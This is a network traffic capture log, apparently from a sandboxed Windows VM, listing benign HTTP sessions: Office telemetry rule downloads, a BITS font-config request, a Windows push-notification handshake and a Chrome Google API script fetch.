Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:26 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:26 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165926Z-r197bdfb6b4b4pw6nr8czsrctg00000007q0000000001gzg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:26 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:26 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165926Z-16849878b78p8hrf1se7fucxk800000007pg00000000fgxs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49815	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 16:59:26 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=71722 Date: Tue, 29 Oct 2024 16:59:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49810	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 39 68 74 5a 56 79 48 30 55 32 6b 35 49 59 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 65 36 31 39 61 35 34 38 39 32 30 63 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: t9htZVyH0U2k5IYA.1Context: 134e619a548920c6
2024-10-29 16:59:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-29 16:59:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 39 68 74 5a 56 79 48 30 55 32 6b 35 49 59 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 65 36 31 39 61 35 34 38 39 32 30 63 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 46 46 64 79 50 77 32 4e 4f 6a 52 59 67 6a 46 63 6d 69 5a 38 39 63 36 58 62 49 70 38 7a 75 70 6b 4c 65 62 79 68 32 50 76 2b 63 69 63 38 79 55 4b 45 6c 77 70 34 50 5a 6d 37 4e 67 39 56 67 50 68 66 6a 66 65 47 55 49 2b 4f 45 62 46 61 4c 41 4d 75 43 67 52 51 79 2f 63 42 73 64 42 38 39 7a 61 67 30 6c 68 73 42 30 52 65 61 78 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: t9htZVyH0U2k5IYA.2Context: 134e619a548920c6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcFFdyPw2NOjRYgjFcmiZ89c6XbIp8zupkLebyh2Pv+cic8yUKElwp4PZm7Ng9VgPhfjfeGUI+OEbFaLAMuCgRQy/cBsdB89zag0lhsB0Reaxw
2024-10-29 16:59:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 39 68 74 5a 56 79 48 30 55 32 6b 35 49 59 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 65 36 31 39 61 35 34 38 39 32 30 63 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: t9htZVyH0U2k5IYA.3Context: 134e619a548920c6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-29 16:59:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-29 16:59:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 6e 56 4a 34 63 68 4a 52 6b 57 6c 57 78 2b 6e 71 6c 6c 55 62 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8nVJ4chJRkWlWx+nqllUbQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:26 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165926Z-17c5cb586f65j4snvy39m6qus4000000022g00000000eqty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:26 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:27 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-17c5cb586f6g6g2sa7kg5c0gg0000000023000000000byt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:27 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-16849878b78hh85qc40uyr8sc800000006zg00000000uest x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:27 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-16849878b78qf2gleqhwczd21s000000070000000000fvhr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:27 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 44be6224-701e-0032-738d-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-r197bdfb6b4c8q4qvwwy2byzsw00000007400000000091ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49824	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 16:59:27 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=71775 Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 16:59:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49827	216.58.206.78	443	364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 16:59:27 UTC	913	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 29 Oct 2024 16:44:17 GMT Expires: Wed, 29 Oct 2025 16:44:17 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 910 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 16:59:27 UTC	465	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof 